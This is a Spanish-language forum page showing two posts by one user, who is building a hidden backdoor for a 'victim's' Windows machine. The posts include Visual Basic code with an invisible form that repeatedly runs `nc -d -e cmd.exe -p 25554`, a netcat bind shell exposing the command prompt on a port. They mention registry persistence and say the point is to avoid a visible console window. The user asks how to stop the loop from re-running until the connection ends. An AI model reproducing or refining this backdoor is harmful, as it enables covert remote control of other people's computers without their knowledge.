Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - _LooSeR_

#31
Sip, estoy buscando si existe una forma en visual basic de hacer que este bucle no vuelva a iterar hasta que la conexión con netcat haya terminado.

Lo primero es un ejemplo que puse en batch, pero tiene el problema de que te aparece el pantallon de MS-DOS en negro.

Por eso trataba de hacerlo bajo VB, saludos!
#32
Hola, bueno el caso es que estaba haciendo probatinas con el netcat. Y uno de los problemas al introducirlo en una maquina remota, es que si se cierra la conexión, no podemos volver a conectarnos hasta que no reinicie el equipo la victima. (Esto si tenemos la instruccion necesaria en el registro)

Asi que probé con un código en Batch, ya que ahi funciona a la perfeccion, creando un bucle, que haga que la victima se conecte a nosotros. Y como en un .bat, hasta que la instruccion no termine, no pasa a la siguiente, cuando conseguimos conectarnos la ejecucion del bucle queda interrumpida.

Pero el problema de esto es que aparece la ventanita de ms-dos, y aunque se puede con un "@echo off" hacer que no se vea nada, la venanita no se puede ocultar.

Así que pense en hacerla en VisualBasic con la propiedad del formulario Visible puesta en False, y poniendo este pequeño codigo:

Private Sub Form_Load()

bucle:
    Shell "nc -d -e cmd.exe -p 25554"
    GoTo bucle
   
End Sub


Claro esta, el problema es que tenemos un bucle infinito, ya que no para de ejecutar esta instrucción. Mi pregunta es si existe alguna forma de hacer que hasta que la conexion del netcat no haya terminado, no vuelva a ejecutarla.

Saludos! Gracias